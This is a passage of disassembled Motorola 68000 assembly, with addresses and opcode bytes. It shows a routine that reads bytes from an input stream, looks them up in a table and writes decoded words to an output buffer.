BRA.S LAB_0047 ;62A: 602A
LAB_0045:
ANDI #$0007,D2 ;62C: 02420007
ADDQ #1,D2 ;630: 5242
RTS ;632: 4E75
MOVEQ #0,D0 ;634: 7000
BRA.S LAB_0046 ;636: 600C
BSR.S LAB_0045 ;638: 61F2
MOVE D2,D0 ;63A: 3002
NEG D0 ;63C: 4440
BRA.S LAB_0046 ;63E: 6004
BSR.S LAB_0045 ;640: 61EA
MOVE D2,D0 ;642: 3002
LAB_0046:
MOVE.L A4,-4(A2) ;644: 254CFFFC
MOVE D0,(A4)+ ;648: 38C0
RTS ;64A: 4E75
BSR.S LAB_004A ;64C: 6168
LSL.B #4,D1 ;64E: E909
MOVE.B D1,(A4)+ ;650: 18C1
MOVE.B D2,(A4) ;652: 1882
NEG.B (A4)+ ;654: 441C
LAB_0047:
ADDQ.L #4,A7 ;656: 588F
RTS ;658: 4E75
BSR.S LAB_004A ;65A: 615A
ROR #7,D1 ;65C: EE59
LAB_0048:
BSR.S LAB_004B ;65E: 6160
OR D0,D1 ;660: 8240
MOVE D1,(A4)+ ;662: 38C1
RTS ;664: 4E75
BSR.S LAB_004A ;666: 614E
BRA.S LAB_0048 ;668: 60F4
BSR.S LAB_004A ;66A: 614A
ROR #7,D1 ;66C: EE59
MOVE D1,D0 ;66E: 3001
BSR.S LAB_004A ;670: 6144
OR D0,D1 ;672: 8240
BRA.S LAB_0048 ;674: 60E8
LAB_0049:
ASR -(A4) ;676: E0E4
DC.W $F0F4 ;678
MOVE.B (A4),D4 ;67A: 1814
MOVE.L 7894(A2),D1 ;67C: 222A1ED6
DC.W $ACB6 ;680
MOVEA (A2),A0 ;682: 3052
CMPA A2,A7 ;684: BECA
AND (A6)+,D1 ;686: C25E
MOVEQ #0,D1 ;688: 7200
MOVE.B (A3)+,(A4)+ ;68A: 18DB
MOVE.B (A3)+,(A4)+ ;68C: 18DB
MOVE.B (A3)+,(A4)+ ;68E: 18DB
MOVE.B (A3)+,(A4)+ ;690: 18DB
RTS ;692: 4E75
ASR.B #1,D2 ;694: E202
EXT D2 ;696: 4882
BSR.S LAB_004B ;698: 6126
ADD D2,D0 ;69A: D042
MOVE D0,(A4)+ ;69C: 38C0
RTS ;69E: 4E75
MOVE D2,(A4) ;6A0: 3882
NEG (A4)+ ;6A2: 445C
BRA.S LAB_0047 ;6A4: 60B0
BSR.S LAB_004A ;6A6: 610E
BSR.S LAB_004B ;6A8: 6116
MOVE D0,(A4) ;6AA: 3880
LSL #5,D2 ;6AC: EB4A
LSR #4,D2 ;6AE: E84A
OR.B D2,(A4)+ ;6B0: 851C
OR.B D1,(A4)+ ;6B2: 831C
BRA.S LAB_0047 ;6B4: 60A0
LAB_004A:
MOVEQ #0,D1 ;6B6: 7200
MOVE.B (A3)+,D1 ;6B8: 121B
MOVE.B 0(A2,D1.W),D1 ;6BA: 12321000
RTS ;6BE: 4E75
LAB_004B:
MOVE.B (A3)+,D0 ;6C0: 101B
LSL #8,D0 ;6C2: E148
MOVE.B (A3)+,D0 ;6C4: 101B
RTS ;6C6: 4E75
LAB_004C:
TST.L -8(A2) ;6C8: 4AAAFFF8
BNE.S LAB_004D ;6CC: 6604
MOVE.L A4,-8(A2) ;6CE: 254CFFF8
LAB_004D:
RTS ;6D2: 4E75
BSR.S LAB_004C ;6D4: 61F2
MOVE.B (A3)+,D0 ;6D6: 101B
MOVE.B D0,(A4)+ ;6D8: 18C0
MOVE.B 9(A2),(A4) ;6DA: 18AA0009
BSET #4,(A4)+ ;6DE: 08DC0004
LAB_004E:
NOT.B D2 ;6E2: 4602
BEQ.S LAB_004E ;6E4: 67FC
MOVE D2,(A4)+ ;6E6: 38C2
MOVE.B (A3)+,D1 ;6E8: 121B
EXT D1 ;6EA: 4881
PEA 0(A3,D1.W) ;6EC: 48731000
MOVE.L (A7)+,(A5)+ ;6F0: 2ADF
MOVE D2,(A5)+ ;6F2: 3AC2
END